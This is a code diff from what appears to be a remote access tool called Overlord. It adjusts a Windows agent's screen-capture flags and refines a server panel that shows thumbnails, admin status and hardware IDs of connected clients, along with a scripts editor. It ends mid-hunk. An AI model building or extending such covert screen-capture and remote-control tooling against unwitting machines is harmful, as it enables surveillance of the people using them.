diff --git a/Overlord-Client/cmd/agent/capture/win_bitblt.go b/Overlord-Client/cmd/agent/capture/win_bitblt.go index 4b58c7e..20c131e 100644 --- a/Overlord-Client/cmd/agent/capture/win_bitblt.go +++ b/Overlord-Client/cmd/agent/capture/win_bitblt.go @@ -136,12 +136,12 @@ func setStretchBltMode(hdc uintptr, mode int32) { } func bitBltWithFallback(hdcMem, hdcScreen uintptr, bounds image.Rectangle, w, h int) bool { - return bitBlt(hdcMem, 0, 0, int32(w), int32(h), hdcScreen, int32(bounds.Min.X), int32(bounds.Min.Y), SRCCOPY) + return bitBlt(hdcMem, 0, 0, int32(w), int32(h), hdcScreen, int32(bounds.Min.X), int32(bounds.Min.Y), SRCCOPY|CAPTUREBLT) } func stretchBltCapture(hdcMem, hdcScreen uintptr, bounds image.Rectangle, srcW, srcH, dstW, dstH int) bool { setStretchBltMode(hdcMem, COLORONCOLOR) - return stretchBlt(hdcMem, 0, 0, int32(dstW), int32(dstH), hdcScreen, int32(bounds.Min.X), int32(bounds.Min.Y), int32(srcW), int32(srcH), SRCCOPY) + return stretchBlt(hdcMem, 0, 0, int32(dstW), int32(dstH), hdcScreen, int32(bounds.Min.X), int32(bounds.Min.Y), int32(srcW), int32(srcH), SRCCOPY|CAPTUREBLT) } var dpiAwareOnce sync.Once diff --git a/Overlord-Server/public/assets/render.js b/Overlord-Server/public/assets/render.js index ac4da61..9cc8824 100644 --- a/Overlord-Server/public/assets/render.js +++ b/Overlord-Server/public/assets/render.js @@ -8,6 +8,7 @@ import { monitorsBadge, shortId, } from "./viewUtils.js"; +import { applyImageSrcSmooth } from "./thumbnail-loader.js"; function escapeHtml(text) { const div = document.createElement("div"); @@ -433,6 +434,23 @@ export function createRenderer({ return `${currentLayout}|${c.id}|${!!c.online}|${c.lastSeen}|${c.pingMs}|${c.host}|${c.user}|${c.os}|${c.arch}|${c.version}|${c.monitors}|${c.country}|${c.nickname}|${c.customTag}|${c.customTagNote}|${!!c.bookmarked}|${!!c.isAdmin}|${c.elevation}|${c.cpu}|${c.gpu}|${c.ram}|${c.hwid}|${c.disconnectReason}|${c.disconnectDetail}|${c.groupId}|${c.groupName}|${c.groupColor}|${!!c.notificationsMuted}`; } + function cardThumbDigest(c) { + return `${!!c.hasThumbnail}|${Number(c.thumbnailVersion) || 0}`; + } + + function softThumbUpdate(card, client) { + const host = card.querySelector("[data-thumb-host]"); + if (!host) return; + const newVersion = Number(client.thumbnailVersion) || 0; + host.dataset.thumbVersion = String(newVersion); + host.dataset.thumbOnline = client.online ? "1" : "0"; + if (!client.hasThumbnail) return; + const img = host.querySelector("img[data-thumb-img]"); + if (!img) return; + const url = `/api/clients/${encodeURIComponent(client.id)}/thumbnail${newVersion ? `?v=${newVersion}` : ""}`; + applyImageSrcSmooth(img, url); + } + function renderMerge(data, options = {}) { setupGridDelegation(); ensureLayoutScaffold(); @@ -463,9 +481,18 @@ export function createRenderer({ if (existing) { if (existing.classList.contains("card-uninstalling")) return; const digest = cardDigest(client); - if (existing._cardDigest === digest) return; - existing._cardDigest = digest; - updateCard(existing, client); + const thumbDigest = cardThumbDigest(client); + const structureChanged = existing._cardDigest !== digest; + const thumbChanged = existing._thumbDigest !== thumbDigest; + if (!structureChanged && !thumbChanged) return; + if (structureChanged) { + existing._cardDigest = digest; + existing._thumbDigest = thumbDigest; + updateCard(existing, client); + } else { + existing._thumbDigest = thumbDigest; + softThumbUpdate(existing, client); + } return; } newClients.push(client); @@ -550,6 +577,7 @@ export function createRenderer({ : buildRowA(client, options); node._cardDigest = cardDigest(client); + node._thumbDigest = cardThumbDigest(client); if (options.animate && currentLayout !== "table") { node.classList.add("card-animate"); diff --git a/Overlord-Server/public/assets/scripts.js b/Overlord-Server/public/assets/scripts.js index 8b68d09..6690e4c 100644 --- a/Overlord-Server/public/assets/scripts.js +++ b/Overlord-Server/public/assets/scripts.js @@ -794,7 +794,7 @@ if (window.CodeMirror && scriptEditor) { tabSize: 2, lineWrapping: true, }); - editorInstance.setSize(null, "100%"); + editorInstance.setSize(null, "24rem"); window._vbCodeMirror = editorInstance; } @@ -803,6 +803,36 @@ const modeToggleVisual = document.getElementById("mode-toggle-visual"); const codeEditorSection = document.getElementById("code-editor-section"); const visualBuilderSection = document.getElementById("visual-builder-section"); const rightColumn = codeEditorSection?.parentElement?.querySelector(".lg\\:col-span-1"); + +const lgMediaQuery = window.matchMedia("(min-width: 1024px)"); +function syncEditorHeight() { + if (!editorInstance || !codeEditorSection || !rightColumn) return; + if (codeEditorSection.classList.contains("hidden")) return; + if (!lgMediaQuery.matches) { + editorInstance.setSize(null, "24rem"); + return; + } + const rightHeight = rightColumn.getBoundingClientRect().height; + const card = codeEditorSection.querySelector(":scope > div"); + if (!card) return; + const cs = getComputedStyle(card); + const padY = (parseFloat(cs.paddingTop) || 0) + (parseFloat(cs.paddingBottom) || 0); + const header = card.querySelector(":scope > .flex.items-center.justify-between"); + const headerH = header ? header.getBoundingClientRect().height : 0; + const headerStyle = header ? getComputedStyle(header) : null; + const headerMb = headerStyle ? parseFloat(headerStyle.marginBottom) || 0 : 0; + const target = Math.max(384, rightHeight - padY - headerH - headerMb); + editorInstance.setSize(null, `${target}px`); +} +if (editorInstance && rightColumn) { + syncEditorHeight(); + if (typeof ResizeObserver === "function") { + const ro = new ResizeObserver(() => syncEditorHeight()); + ro.observe(rightColumn); + } + window.addEventListener("resize", syncEditorHeight); + lgMediaQuery.addEventListener?.("change", syncEditorHeight); +} let visualBuilderInited = false; function setMode(mode) { @@ -825,7 +855,10 @@ function setMode(mode) { visualBuilderSection?.classList.add("hidden"); modeToggleCode.className = "flex-1 flex items-center justify-center gap-2 px-4 py-2 rounded-lg font-semibold text-sm transition-colors bg-emerald-600 text-white"; modeToggleVisual.className = "flex-1 flex items-center justify-center gap-2 px-4 py-2 rounded-lg font-semibold text-sm transition-colors bg-slate-800 text-slate-300 hover:bg-slate-700"; - if (editorInstance) editorInstance.refresh(); + if (editorInstance) { + editorInstance.refresh(); + syncEditorHeight(); + } } } diff --git a/Overlord-Server/public/assets/thumbnail-loader.js b/Overlord-Server/public/assets/thumbnail-loader.js index e1d1222..ca3d78a 100644 --- a/Overlord-Server/public/assets/thumbnail-loader.js +++ b/Overlord-Server/public/assets/thumbnail-loader.js @@ -49,6 +49,24 @@ function buildThumbnailUrl(clientId, version) { return version > 0 ? `${base}?v=${version}` : base; } +export function applyImageSrcSmooth(img, url) { + if (!img || !url) return; + if (img.dataset.thumbUrl === url) return; + const newImg = img.cloneNode(false); + newImg.dataset.thumbUrl = url; + newImg.style.display = "block"; + const swap = () => { + if (img.parentNode && img.dataset.thumbUrl !== url) img.replaceWith(newImg); + }; + newImg.addEventListener("error", () => {}, { once: true }); + newImg.src = url; + if (typeof newImg.decode === "function") { + newImg.decode().then(swap).catch(() => {}); + } else { + newImg.addEventListener("load", swap, { once: true }); + } +} + export class ThumbnailLoader { constructor(options = {}) { this.refreshIntervalMs = Math.max(500, Number(options.refreshIntervalMs) || DEFAULT_REFRESH_MS); @@ -147,10 +165,7 @@ export class ThumbnailLoader { const img = element.querySelector("img[data-thumb-img]"); if (!img) return; const url = buildThumbnailUrl(rec.clientId, rec.version); - if (img.dataset.thumbUrl !== url) { - img.dataset.thumbUrl = url; - img.src = url; - } + applyImageSrcSmooth(img, url); } handleIntersection(entries) { diff --git a/Overlord-Server/public/scripts.html b/Overlord-Server/public/scripts.html index cc4ed8a..cf91e3d 100644 --- a/Overlord-Server/public/scripts.html +++ b/Overlord-Server/public/scripts.html @@ -94,8 +94,8 @@ -